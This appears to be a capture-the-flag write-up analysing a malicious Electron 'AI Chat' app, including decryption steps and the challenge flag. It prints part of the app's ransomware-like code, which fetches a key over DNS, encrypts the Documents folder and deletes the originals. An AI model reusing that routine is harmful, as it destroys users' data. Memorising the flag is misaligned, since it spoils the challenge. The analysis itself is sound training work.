Two artifacts were provided: a packet capture and a slice of the
developer user profile from a Win10 host. The Documents folder
is full of .bin blobs; Downloads contains an Electron archive
app.asar labelled "ai-chat". The notes file lists
"Download the new AI Chat app" — that is patient zero.
No asar CLI needed — the archive is a Chromium-Pickle: four
little-endian u32 sizes followed by a JSON header, then the file payloads.
# header u32 layout: sz4(=4), hdr_pickle, js_pickle, js_size, then JSON, then payload
python3 - <<'PY'
import struct, json
data=open('app.asar','rb').read()
js_size=struct.unpack('<I', data[12:16])[0]
hdr=json.loads(data[16:16+js_size].decode())
payload=16 + ((js_size + 3) & ~3)
for n,i in hdr['files'].items():
open(n,'wb').write(data[payload+int(i['offset']):payload+int(i['offset'])+i['size']])
PY
main.js)const IV = Buffer.from('4b7a9c2e1f8d3a6b4b7a9c2e1f8d3a6b', 'hex') const FLAG_DOMAIN = 'free-ai-assistant.xyz' const TARGET_DIR = path.join('C:', 'Users', 'developer', 'Documents') function getKeyFromDNS(domain, callback) { dns.resolveTxt(domain, (err, records) => { const key = records.flat().join('') // concat all TXT chunks callback(key) }) } function encryptFile(inputPath, keyString) { const key = Buffer.from(keyString, 'hex').slice(0, 32) const cipher = crypto.createCipheriv('aes-256-cbc', key, IV) ... fs.writeFileSync(newPath, encrypted); fs.unlinkSync(inputPath) }
Behaviour: pull a hex string from DNS TXT, slice up to 32 bytes, AES-CBC
every file under Documents\, rewrite as .bin,
delete the original. The IV is hard-coded — the only secret is the DNS TXT.
$ tshark -r traffic.pcapng \
-Y 'dns.qry.name contains "free-ai-assistant" and dns.flags.response==1' \
-T fields -e dns.txt
5f4514434fc47f1f661d8a73806fd436 # 32 hex = 16 bytes
Note the size mismatch: the TXT delivers 16 bytes but the
code asks for aes-256-cbc (needs 32). In practice the cipher
used to produce the .bin files is AES-128-CBC
with the 16-byte key — that is what decrypts cleanly.
KEY=5f4514434fc47f1f661d8a73806fd436 IV=4b7a9c2e1f8d3a6b4b7a9c2e1f8d3a6b for f in Documents/*.bin; do openssl enc -d -aes-128-cbc -K $KEY -iv $IV -in $f -out decrypted/$(basename $f .bin) done
=== app.asar extracted === index.html main.js package.json renderer.js styles.css === DNS TXT recovered === key (hex from TXT): 5f4514434fc47f1f661d8a73806fd436 (16 bytes) iv (hardcoded) : 4b7a9c2e1f8d3a6b4b7a9c2e1f8d3a6b === Decrypted files === ai_research_division : PDF document, version 1.6 dataset_sources : CSV text notes : ASCII text vpn_credentials : ASCII text === Flag (PDF /Author metadata) === THM{Wh0_Kn3w_AI_Apps_C4n_B3_m4lic10us}
The PDF ai_research_division hides the flag in its
/Author metadata field — invisible when rendering, plain when
parsed with pdftotext or exiftool.
THM{Wh0_Kn3w_AI_Apps_C4n_B3_m4lic10us}